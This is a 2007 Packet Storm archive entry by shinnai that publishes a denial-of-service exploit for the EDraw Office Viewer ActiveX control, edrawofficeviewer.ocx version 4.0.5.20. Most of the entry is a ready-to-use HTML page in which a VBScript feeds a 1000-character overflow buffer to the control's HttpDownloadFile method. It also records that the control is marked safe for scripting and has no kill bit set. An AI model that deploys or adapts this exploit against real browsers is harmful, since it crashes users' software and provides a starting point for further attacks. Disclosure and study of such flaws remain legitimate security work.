edraw-dos.txt

2007-05-30T00:00:00
ID PACKETSTORM:56951
Type packetstorm
Reporter shinnai
Modified 2007-05-30T00:00:00

Description

                                        
                                            `<pre>  
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------  
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>  
url: http://www.ocxt.com/officeviewer.php  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
  
This ActiveX is marked as:  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
KillBitSet: False  
---------------------------------------------------------------------------------------------  
  
<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
buff = String(1000, "A")  
  
test.HttpDownloadFile buff, "Default"  
  
End Sub  
</script>  
</span></span>  
</code></pre>  
  
  
  
`